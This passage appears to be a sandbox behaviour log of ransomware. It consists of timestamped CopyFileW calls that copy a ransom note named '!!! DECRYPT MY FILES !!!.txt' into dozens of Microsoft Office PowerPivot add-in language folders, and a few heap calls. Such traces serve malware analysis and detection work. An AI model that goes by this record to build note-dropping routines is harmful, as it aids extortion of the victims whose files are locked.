(normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1028\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.608] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1029\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.615] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1030\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.654] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1031\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.658] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1032\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.661] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.667] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1035\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.671] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1036\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.675] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1037\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.677] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1038\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.721] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1040\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.736] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1041\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.739] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1042\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.745] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1043\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.748] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1044\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.752] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1045\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.755] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1046\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.758] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1048\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.762] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1049\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.766] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1050\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0161.769] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1051\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.929] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1053\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.961] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1054\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.964] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1055\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.968] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1057\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.971] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1058\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.975] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1060\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.978] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1061\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.982] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1062\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.985] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1063\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.989] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1066\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0162.992] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1069\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0165.391] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1081\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0168.311] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1086\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0173.843] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1087\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0177.000] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b48) returned 0x707d3d0 [0177.745] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1110\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0177.748] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab0) returned 0x707d3d0 [0177.750] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2052\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0177.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab4) returned 0x707d3d0 [0177.790] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2070\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0177.792] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab8) returned 0x707d3d0 [0177.792] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2074\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0177.796] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2abc) returned 0x707d3d0 [0177.797] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\3082\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0177.799] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ac0) returned 0x707d3d0 [0177.800] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\9242\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0177.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ac4) returned 0x707d3d0 [0177.807] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0177.813] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ru\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0180.047] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0180.057] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0180.091] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-cyrl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0180.099] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0180.104] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn-cs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0184.406] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sv\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.049] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\th\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.085] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.091] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\uk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.108] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\vi\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.115] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\zh-chs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.121] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft 